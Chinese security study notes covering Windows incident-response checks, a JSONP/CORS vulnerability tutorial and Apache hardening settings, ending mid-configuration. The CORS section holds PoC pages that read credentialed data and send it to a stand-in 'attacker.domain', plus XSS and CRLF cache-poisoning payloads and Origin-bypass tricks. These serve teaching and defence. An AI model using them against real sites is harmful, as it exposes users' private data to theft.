  1. 在服务器各个目录(网站根目录、Temp/Tmp目录、文件上传目录),可根据文件夹内文件列表时间进行排序或搜索指定日期范围,查找可疑文件、异常文件

查看文件时间,创建时间、修改时间、访问时间。通过对文件右键属性即可看到详细的时间或通过dir /tc 文件名来查看创建时间

  1. 单击【开始】>【运行】,输入%UserProfile%\Recent,分析最近打开过的可疑文件

C:\Documents and Settings\Administrator\Recent
C:\Documents and Settings\Default User\Recent

  1. 单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下
  2. 查看浏览器浏览痕迹、浏览器下载文件、浏览器cookie信息

服务

  1. 单击【开始】>【运行】,输入services.msc,排查是否存在异常服务
    image
  2. PowerShell下输入service
    image

启动项

  1. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下
    image
  2. 单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件
    image
  3. 单击【开始】>【运行】,输入regedit,打开注册表,查看开机启动项是否正常,注册表项如下:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    (ProfilePath)\Start Menu\Programs\Startup
  4. 运行gpedit.msc在本地组策略编辑器里查看开机运行脚本
    image

会话、计划任务

  1. 命令行输入net useatschtasks.exe,检查计算机与网络上的其它计算机之间的会话或计划任务
    image
  2. 单击【开始】>【运行】,输入taskschd.msc或从计算机管理进入,直接查看计划任务
    image
    image
  3. 存放计划任务的文件
    C:\Windows\System32\Tasks
    C:\Windows\SysWOW64\Tasks
    C:\Windows\tasks\

注册表

注册表目录含义

名称 作用
HKEY_CLASSES_ROOT 存储Windows可识别的文件类型的详细列表,以及相关联的程序。
HKEY_CURRENT_USER 存储当前用户设置的信息。
HKEY_LOCAL_MACHINE 包括安装在计算机上的硬件和软件的信息。
HKEY_USERS 包含使用计算机的用户的信息。
HKEY_CURRENT_CONFIG 这个分支包含计算机当前的硬件配置信息。

账户:
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
启动项:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
(ProfilePath)\Start Menu\Programs\Startup

日志

系统日志

  1. 启用安全审核策略:已管理员身份运行cmd,输入Auditpol /set /Category:System /failure:enable,重启服务器生效
    image
  2. Win+R打开运行,输入eventvwr.msc,回车运行,打开“事件查看器”
    image
    image
    image

日志导出至文本格式,使用文本编辑器打开并用正则表达式((?:(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))).){3}(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))匹配IP地址

image
3. 导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析
4. 登陆类型ID含义
image
image
image

应用组件日志

  1. 确认应用组件日志存放日志,打包到本地进行分析
  2. 在本地通过日志分析工具进行排查

安全工具

病毒分析:

PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/

病毒查杀:

卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
大蜘蛛:http://free.drweb.ru/download+cureit+free
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html

病毒动态:

CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站:

http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti恶意软件扫描系统
http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析

webshell查杀

WEBDIR+在线查杀木马/开放API接口: https://scanner.baidu.com/#/pages/intro
在线webshell查杀-灭绝师太版:http://tools.bugscaner.com/killwebshell/
深度学习模型检测PHP Webshell:http://webshell.cdxy.me/
D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com
深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html
Safe3:http://www.uusec.com/webshell.zip

修复建议

1.系统重装
2.修改系统账号密码,加强密码复杂度。建议密码中包含大写英文字母,小写英文字母,数字,特殊符号中的三项;
3.访问控制:设置黑/白名单,限制应用程序的权限,禁止目录浏览或文件写权限;
4.定期备份重要业务数据和文件;
5.定期进行漏洞扫描,更新操作系统及应用程序组件版本,安装补丁;
6.使用第三方安全产品,如D盾、安全狗、云锁等,并安装杀毒软件进行病毒查杀,清除残留病毒或木马。

参考链接

https://xz.aliyun.com/t/1140#toc-15
https://xz.aliyun.com/t/2524#toc-5
https://cloud.tencent.com/document/product/296/9605
https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903806&idx=1&sn=e7e3cae132ce7469a29fdc170c0a8242&scene=19#wechat_redirect

待学习完善(日志相关)

https://xz.aliyun.com/t/2335?accounttraceid=66665db5-a475-4835-8b9d-8c5c604e738b
https://xz.aliyun.com/t/1140#toc-18
https://xz.aliyun.com/t/2524?accounttraceid=ecc32472-7489-4178-99c2-c2e210ee6785#toc-2

JSONP劫持/CORS跨源资源共享漏洞

一、基础知识

1. 同源策略(SOP,Same-origin policy)

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议域名端口相同,则表示他们同源。
image

同源策略下的跨域请求

image

同源判断示例:URL地址 http://www.example.com/dir/page.html

Compared URL Outcome Reason
http://www.example.com/dir/page2.html Success Same protocol, host and port
http://www.example.com/dir2/other.html Success Same protocol, host and port
http://domain-ip/dir/page2.html Failure Different host (exact match required)
http://username:[email protected]/dir2/other.html Success Same protocol, host and port
http://www.example.com:81/dir/other.html Failure Same protocol and host but different port
https://www.example.com/dir/other.html Failure Different protocol
http://en.example.com/dir/other.html Failure Different host
http://example.com/dir/other.html Failure Different host (exact match required)
http://v2.www.example.com/dir/other.html Failure Different host (exact match required)
http://www.example.com:80/dir/other.html Depends Port explicit. Depends on implementation in browser

2. AJAX(Asynchronous JavaScript + XML,异步JavaScript和XML)

AJAX本身不是一种新技术,而是用来描述一种使用现有技术集合/标准的新方法,包括: HTML or XHTMLCascading Style SheetsJavaScriptThe Document Object ModelXMLXSLT 以及 XMLHttpRequest object。当使用结合了这些技术的AJAX模型以后, 网页应用能够快速地将增量更新呈现在用户界面上,而不需要重新加载整个页面。这使得程序能够更快地回应用户的操作。

尽管X在Ajax中代表XML, 但由于JSON的许多优势,比如更加轻量以及作为Javascript的一部分,目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中打包信息。

XMLHttpRequest (XHR) 详解

二、跨域/放宽同源策略

1. AJAX跨域

1.1 JSONP(JSON with Padding)

JSONP就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。

1.1.1 实现原理

image

1.1.2 流程图

image

1.2 CORS(Cross-origin resource sharing)

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。通过该标准,可以允许浏览器向跨源服务器发出 XMLHttpRequest 请求,从而克服了AJAX只能同源使用的限制,进而读取跨域的资源。CORS允许Web服务器通知Web浏览器应该允许哪些其他来源从该Web服务器的回复中访问内容

1.2.1 实现原理

跨域资源共享 CORS 详解

image

1.2.2 流程图

未启用CORS

image

CORS未设置Access-Control-Allow-Credentials ,则浏览器发送的请求不会带有用户的身份数据(Cookie或者HTTP身份数据)

image

1.2.3 CORS错误配置问题总结

1.2.3.1 ACAOACAC头错误配置

利用空格来分隔多个源 Access-Control-Allow-Origin: https://example1.com https://example2.com
利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com
浏览器报错

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Nginx 错误配置示例:

add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;

动态生成访问控制策略的方法:在Access-Control-Allow-Origin中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资源内容。

1.2.3.2 Origin校验绕过

target.domain允许example.com跨域,对example.com进行校验

匹配方式 校验内容 绕过方式
包含匹配 只校验是否包含example.com 构造Origin: https://malicious.example.com
前缀匹配 只校验前缀是否为example.com 构造Origin: https://example.com.malicious.com.
后缀匹配 只校验后缀是否为example.com 构造Origin: https://maliciousexample.com
子域名匹配 只校验是否为子域名 控制目标站点某一子域名或利用存在XSS漏洞的子域名

尽量避免使用正则表达式进行校验

案例:https://www.freebuf.com/articles/web/158529.html

1.2.3.3 信任null

开发者在网站上配置信任null源,用于调试代码(页面跳转、与本地file页面共享数据)

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

攻击者可从任意域下通过iframe sandbox构造Originnull的跨域请求

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>XMLHttpRequest here</script>’></iframe>

请求包

GET /handler
Host: target.local
Origin: null

响应包

HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
1.2.3.4 HTTPS域信任HTTP域

HTTPS协议被设计用于在不安全的网络中进行安全通信。即使在中间人网络环境下,攻击者也应该无法读取HTTPS网站的内容。但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容。

image

1.2.3.5 信任自身全部子域

为了防止某个子域上XSS漏洞的危害其他子域,浏览器设计了Cookiehttponly标志,用于限制Javascript读取Cookie,因此某个子域XSS不能读取带有httponly标记的Cookie,难以窃取其他重要子域上的敏感内容。
但是如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。

案例:
https://www.freebuf.com/articles/web/204023.html

1.2.3.6 Origin:*Credentials:true 共用

浏览器报错

Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true

为避免该配置产生浏览器报错,部分Web框架将Access-Control-Allow-Origin:*Access-Control-Allow-Credentials:true转换为反射Origin,导致产生安全问题

image

1.2.3.7 缺少Vary:Origin

Access-Control-Allow-Origin 是被动态生成的话,则需指定 Vary: Origin 标头,避免攻击者利用缓存进行攻击。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin 的值发生变化。

Vary: Origin头详解
https://zhuanlan.zhihu.com/p/38972475

2. Cookie跨域

Cookies 使用不同的源定义方式。一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。Firefox 和 Chrome 使用 Public Suffix List 决定一个域是否是一个公共后缀(public suffix)。Internet Explorer使用其自己的内部方法来确定域是否是公共后缀。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名(sub-domains) 访问 cookie。设置 cookie 时,可以使用DomainPathSecure,和Http-Only标记来限定其访问性。

Cookie共享:https://localhost:8080/http://localhost:8081/

三、JSONP漏洞挖掘、利用与防御

3.1 挖掘

方法一:GoogleHacking语法site:target.com inurl:?callback

image

方法二:浏览器-调试-搜索关键字(json/jsonp/callback)

image

3.2 利用案例

http://www.anquan.us/static/bugs/wooyun-2016-0204941.html
http://www.anquan.us/static/bugs/wooyun-2015-0118712.html

3.3 防御

referer校验/过滤
增加CSRF Token

防御同XSS漏洞结合:
严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )
对callback函数的长度进行限制、内容进行特殊字符的过滤

四、CORS漏洞检测、利用与防御

4.1 检测

方法一

Proxy-Options-Match and Replace

image

Filter by search term中输入Access-Control-Allow-Origin: foo.example.org

image
image
image

方法二

image
image

方法三

curl cors漏洞站点 -H "Origin:https://example.com/" -I

image

方法四

https://github.com/chenjj/CORScanner
https://github.com/lc/theftfuzzer

4.2 利用

4.2.1 存在用户凭证

“Access-Control-Allow-Origin” value “Access-Control-Allow-Credentials” value 是否可利用 备注
https://attacker.com true 最佳实践
* true 浏览器报错
null true 任意网站使用沙盒iframe来获取null
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>CORS request here</script>’></iframe>

利用过程

1.创建一个JavaScript脚本去发送CORS请求,POC关键代码如下:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
 location=”//attacker.domain/log?response=”+this.responseText;
}; 

2.当带有目标系统用户凭据的受害者访问带有上述代码的页面时,浏览器就会发送下面的请求到存在CORS漏洞的服务器

GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>

3.响应包

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"[email protected]","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"} 

4.因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
image

4.2.2 不存在用户凭证

“Access-Control-Allow-Origin” value 是否可利用
https://attacker.com
null
*

利用方式

4.2.2.1 绕过基于IP的认证

如果目标应用程序与受害者的网络可达,并且目标应用程序使用IP地址作为身份验证的方式,则黑客会利用受害者的浏览器作为代理去访问那些目标应用程序并且可以绕过那些基于IP的身份验证。

4.2.2.2 客户端缓存中毒

该配置下,攻击者可结合其他的漏洞进行攻击。例如,数据报文头部中包含 X-User 标头,其值未进行任何输入验证、输出编码。

请求包

GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>

响应包

Access-Control-Allow-Origin已被设置,Access-Control-Allow-Credentials: trueVary: Origin 头未被设置

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
 … 
Content-Type: text/html 
… 
Invalid user: <svg/onload=alert(1)>

攻击者可构造存在恶意的XSS payload页面,诱使受害者触发。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
 location='http://www.target.local/login';
} 

利用效果
image

若不存在CORS漏洞,则上述方式不能被利用,因为无法让受害者浏览器发送自定义头部,但是如果存在CORS漏洞,则可用 XMLHttpRequest 进行实现

防御方法
Access-Control-Allow-Origin 是被动态生成的话,需指定 Vary: Origin 标头。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin 的值发生变化。

4.2.2.3 服务器端缓存中毒

该配置下,攻击者可结合其他的漏洞进行攻击。例如,利用CORS的错误配置注入任意HTTP头部,将其保存在服务器端缓存,可用来构造存储型XSS

利用条件:存在服务器端缓存、能够反射Origin头部、不会检查Origin头部中的特殊字符,如\r

利用方式:攻击IE/Edge用户(IE/Edge使用\r作为的HTTP头部字段的终结符)

请求

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

回车 代码:CR(carriage return) ASCII码:\ r ,十六进制:0x0d,回车的作用只是移动光标至该行的起始位置
换行 代码:LF(line feed) ASCII码:\ n ,十六进制:0x0a,换行至下一行行首起始位置

IE解析后的响应报文

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7 

上述方式无法直接利用,因为攻击者无法保证受害者浏览器会提前发送畸形的消息头。如果攻击者能提前发送畸形的Origin消息头,比如利用代理或者命令行的方式发送,则服务器就会缓存这样的返回报文并作用于其他用户。上例中,攻击者将页面的编码设置为UTF-7,可引发XSS漏洞。

UTF-7 XSS
http://www.xfcxc.top/index.php/2018/07/20/utf-7-xss/
https://sakurasec.com/utf-7-xss/
http://www.91ri.org/3979.html

CORS绕过技术:https://www.sxcurity.pro/advanced-cors-techniques/

4.3 防御

4.3.1 通用防御方式

  • 关闭不必要开启的CORS
  • 白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置 Access-Control-Allow-Origin 为通配符 *null ,严格效验来自请求数据包中的 Origin 的值
  • 仅允许使用安全协议,避免中间人攻击
  • 尽可能的返回 Vary: Origin 头部,以避免攻击者利用浏览器缓存进行攻击
  • 避免将 Access-Control-Allow-Credentials 标头设置为默认值 true ,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为 false
  • 限制跨域请求允许的方法,Access-Control-Allow-Methods 最大限度地减少所涉及的方法,降低风险
  • 限制浏览器缓存期限:建议通过 Access-Control-Allow-MethodsAccess-Control-Allow-Headers 头部,限制浏览器缓存信息的时间。通过配置 Access-Control-Max-Age 标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略
  • 仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。

4.3.2 常见组件/框架CORS默认配置总结

image
image

五、靶场及POC

5.1 JSONP

DoraBox/PoCBox

image
image
image

JSONP-POC

客户端实现 callbackvalue 函数

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
</head>
<body>
<script type="text/javascript">
function callbackvalue(jsonp)
    {
      alert(jsonp.name);
    }
</script>
<script type="text/javascript" src="http://domain/contents?jsoncallback=callbackvalue"></script>
</body>
</html>

jQuery

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP-POC</title>
  <script src="https://code.jquery.com/jquery-3.4.1.js"></script>  
</head>
<body>
<script type="text/javascript">  
  $.getJSON("http://domain/contents?jsoncallback=?", function(callbackvalue){
     alert(callbackvalue.参数);
  });
</script>
</body>
</html>

5.2 CORS

bWAPP靶场

image
image
image
image

bWAPP_latest.zip
https://github.com/gh0stkey/DoraBox
https://github.com/gh0stkey/PoCBox
https://github.com/trustedsec/cors-poc
https://github.com/nccgroup/CrossSiteContentHijacking

CORS-vulnerable-Lab

image

CORS-POC

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>
<html>
    <head>
    <script>
        function cors() {
            var r = new XMLHttpRequest();
            r.onreadystatechange = function() {
                if (r.readyState == 4 && r.status == 200) {
                    alert(r.responseText);
                }
            };
            r.open("GET", "https://target.com/info/", true);
            r.send();
        }
    </script>
    </head>
    <body>
	<button type="button" onclick="cors()">Exploit</button>
    </body>
</html>

image
index.html

<!DOCTYPE html>
<html>
<head>
	<title>CORS PoC</title>
</head>
<body>
<center>
	GET Request
	<form action="./get.php">
		URL: <input type="text" name="url"><br>
		<input type="submit" value="Attack">
	</form>
	<br><br>
	POST Request
	<form action="./post.php" id="postform">
		URL: <input type="text" name="url"><br>
		Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
		<input type="submit" value="Attack">
	</form>
</center>
</body>
</html>

get.php

<!DOCTYPE html>
<html>
<head>
	<title>CORS TEST</title>
</head>
<body>
	<div id='output'></div>
	<script type="text/javascript">
			var req = new XMLHttpRequest(); 
			req.onload = reqListener; 
			req.open('get','<?php echo @$_GET["url"];?>',true);
			// req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
			req.withCredentials = true;
			req.send();
			function reqListener() {
				var output = document.getElementById('output');
				output.innerHTML = "URL: <?php echo @$_GET["url"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
			    // document.write(this.responseText);
			};
	</script>
</body>
</html>

post.html

<!DOCTYPE html>
<html>
<head>
    <title>CORS TEST</title>
</head>
<body>
    <div id='output'></div>
    <script type="text/javascript">
            var req = new XMLHttpRequest(); 
            var data = "<?php echo @$_GET["data"];?>";
            req.onload = reqListener; 
            req.open('post','<?php echo @$_GET["url"];?>',true);
            req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
            req.withCredentials = true;
            req.send(data);
            function reqListener() {
                var output = document.getElementById('output');
                output.innerHTML = "URL: <?php echo @$_GET["url"];?><br>Data: <?php echo @$_GET["data"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
                // document.write(this.responseText);
            };
    </script>
</body>
</html>

六、对比及区别

6.1 CORS与JSONP的区别

JSONP只支持GET请求,支持老式浏览器

<script>标签只能发送GET请求

CORS支持所有类型的HTTP请求

6.2 JSON与JSONP的区别

JSON为数据格式
JSONP为跨域方式

6.3 AJAX与HTTP请求的区别

6.3.1 本质:

AJAX就是浏览器发出的HTTP请求,存在同源策略限制
AJAX是发送HTTP请求的一种方式
AJAX请求的XMLHttpRequest对象就是浏览器开放给JS调用HTTP请求使用的

6.3.2 不同点:

AJAX请求受到浏览器的同源策略限制,存在跨域问题
AJAX在进行CORS非简单请求时,浏览器会发出OPTIONS预检请求
AJAX会自动带上同域Cookie
AJAX与HTTP请求相比,存在浏览器的封装(预处理+特定限制)
image

6.4 CSRF与CORS漏洞的区别

6.4.1 相同点

都需要借助第三方网站
都需要借助AJAX
都需要用户登陆

6.4.2 不同点

第三方网站可利用CORS漏洞读取受害者的敏感信息
第三方网站可利用CSRF漏洞代替受害者执行敏感操作

七、参考链接

https://www.bedefended.com/papers/cors-security-guide
https://blog.csdn.net/niexinming/article/details/82719092
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://en.wikipedia.org/wiki/Same-origin_policy
https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://developer.mozilla.org/zh-CN/docs/Web/Guide/AJAX
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://dailc.github.io/2017/03/22/ajaxCrossDomainSolution.html
https://dailc.github.io/2018/01/04/security_ajaxissafeornot.html
https://juejin.im/post/5b0bac706fb9a009e70e9381#heading-4
https://www.w3.org/TR/cors/#handling-a-response-to-a-cross-origin-request
https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html
https://www.trustedsec.com/2018/04/cors-findings/
https://cloud.tencent.com/developer/article/1436061
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://www.jianjunchen.com/post/

Apache安全配置

Apache用户账号使用无效Shell

Apache账号不能用作常规系统登录帐户,应该分配nologin shell确保帐号不能登录主机,该账号对应系统程序/服务/进程不受影响

加固方法:
修改apache账号使用/sbin/nologin/dev/null等无效shell,界面提示信息:This account is currently not available
# chsh -s /sbin/nologin apache

锁定Apache用户账号

Apache用户帐号不应该有修改密码权限,应通过ROOT权限账户对Apache用户帐号进行锁定

加固方法:
使用ROOT权限账户passwd命令锁定apache账号
# passwd -l apache

子进程用户设置

设置Apache子进程用户
加固方法:
Unix系统:
如果没有设置用户和组,则新建用户,并在Apache配置文件中指定

  • 创建Apache组:groupadd Apache
  • 创建Apache用户并加入Apache组:useradd Apache –g Apache
  • 将下面两行加入Apache配置文件httpd.conf中
    User Apache
    Group Apache

Windows系统:

  • 新建一个Apache用户
  • 设置Apache用户对Apache目录的相关权限
  • 在服务管理器service.msc中找到Apache服务,右键选择属性,设置登录身份为Apache用户

apache

配置错误日志

LogLevel配置用于设置错误日志的级别。ErrorLog配置用于设置错误日志文件的名称/位置。日志级别值为debuginfonoticewarnerrorcritalertemerg

image

加固方法:
a.在Apache配置中添加或修改LogLevel的值,建议核心(core)模块设置为infodebug,其他模块设置为notice或更低
b.通过ErrorLog配置设置错误日志文件的名称/位置

禁用存在设计缺陷的TLS/SSL协议

ApacheSSLProtocol配置指定允许的SSL和TLS协议。由于SSLv2和SSLv3协议存在涉及缺陷且易受信息泄露的攻击,故因全部禁用,只启用TLS协议

POODLE信息泄露漏洞/弱SSL加密算法/重协商漏洞

image

加固方法:
在Apache配置文件中添加或修改SSLProtocol。建议禁用SSLv2SSLv3TLSv1.0协议,配置为SSLProtocol All -SSLv2 -SSLv3或配置为允许TLSv1.1TLSv1.2协议,SSLProtocol TLSv1.1 TLSv1.2

限制不安全的SSL Renegotiation

启用SSLInsecureRenegotiation指令会使服务器容易遭受中间人重新协商攻击(CVE-2009-3555

image

加固方法:
在Apache配置文件中查找SSLInsecureRenegotiation指令。如果存在,将该值修改为off
SSLInsecureRenegotiation off

KeepAlive应设置为On

KeepAlive指令决定当处理完用户发起的 HTTP 请求后是否立即关闭 TCP 连接。若 KeepAlive 设置为 On,则用户完成一次访问后,不会立即断开连接,如果还有请求,那么会继续在这次 TCP 连接中完成,而不需要重复建立新的 TCP 连接和关闭TCP 连接。这样可以提高用户访问速度,避免每次请求都要新建一个连接而加重服务器的负担。

加固方法:
Apache配置文件httpd.conf中查找conf/extra/httpd-default.conf

image

配置文件conf/extra/httpd-default.conf中,将KeepAlive设置为On,以启用KeepAlive连接

image

合理设置MaxKeepAliveRequests的值

KeepAlive启用OnMaxKeepAliveRequests指令限制每个连接允许的请求数量。如果设置为0,则不限制请求的数量。

加固方法:

image

合理设置KeepAliveTimeout的值

KeepAliveTimeout指令指定在关闭持久连接(KeepAlive)前等待下一个请求的秒数。KeepAliveTimeout的值应视网站流量及服务器配置而定

加固方法:
image

合理设置TimeOut的值

TimeOut指令控制Apache HTTP服务器等待输入/输出调用完成的最长时间

加固方法:
配置文件conf/extra/httpd-default.conf中调整TimeOut的值

image

隐藏Apache版本号及其他敏感信息

攻击者可利用Apache版本号及其他敏感信息进行信息搜集进而实施有针对性的下一步攻击

加固方法:
Apache配置文件httpd.conf中添加:

ServerSignature Off
ServerTokens Prod

防止敏感/默认/缺省内容信息泄露:图标/索引/目录结构

加固方法:

图标

在Apache配置文件httpd.conf中注释:

# Fancy directory listings
#Include conf/extra/httpd-autoindex.conf

image

目录

/web为网站根目录,将 Options Indexes FollowSymLinks 中的 Indexes 去掉,可禁止 Apache 显示目录结构。Indexes 的作用就是当该目录下没有 index.html 文件时,显示目录结构。

Order定义了allowdeny的生效顺序,deny排在后面代表先处理allow from定义的允许访问的地址,其余地址均deny。Allow from 可限制接入IP地址(白名单):Allow from 192.168.0.0/24

<Directory "/web">
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory> 

image

设置 Apache 的默认页面,编辑httpd.conf 配置文件, 其中index.htmlindex.phpindex.html.php 即为默认页面,可根据情况改为其它文件。

<IfModule dir_module>
    DirectoryIndex index.html index.php index.htm l.php
</IfModule>

image

禁用HTTP TRACE/OPTIONS方法

1.TRACE方法可回显服务器收到的请求,主要用于测试或诊断,攻击者可通过该机制进行信息搜集
2.攻击者可通过TRACE方法进行跨站脚本攻击
3.在站点启用了HttpOnly头标记和禁止脚本读取Cookie信息的情况下,攻击者仍可通过TRACE方法绕过该限制并读取到Cookie信息

加固方法:
1.在Apache配置文件httpd.conf中添加或修改:TraceEnable设置为off

TraceEnable off

2.在Apache配置文件vhosts-conf中设置

单独禁用Trace方法
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
单独禁用Options方法
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(OPTIONS)
RewriteRule .* - [F]
同时禁用Trace方法和Options方法
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)
RewriteRule .* - [F]
配置文件vhosts-conf如下
<VirtualHost *:80>
    DocumentRoot "C:\www"
    ServerName www.example.com
    ServerAlias example.com
  <Directory "C:\www">
      Options FollowSymLinks ExecCGI
      AllowOverride All
      Order allow,deny
      Allow from all
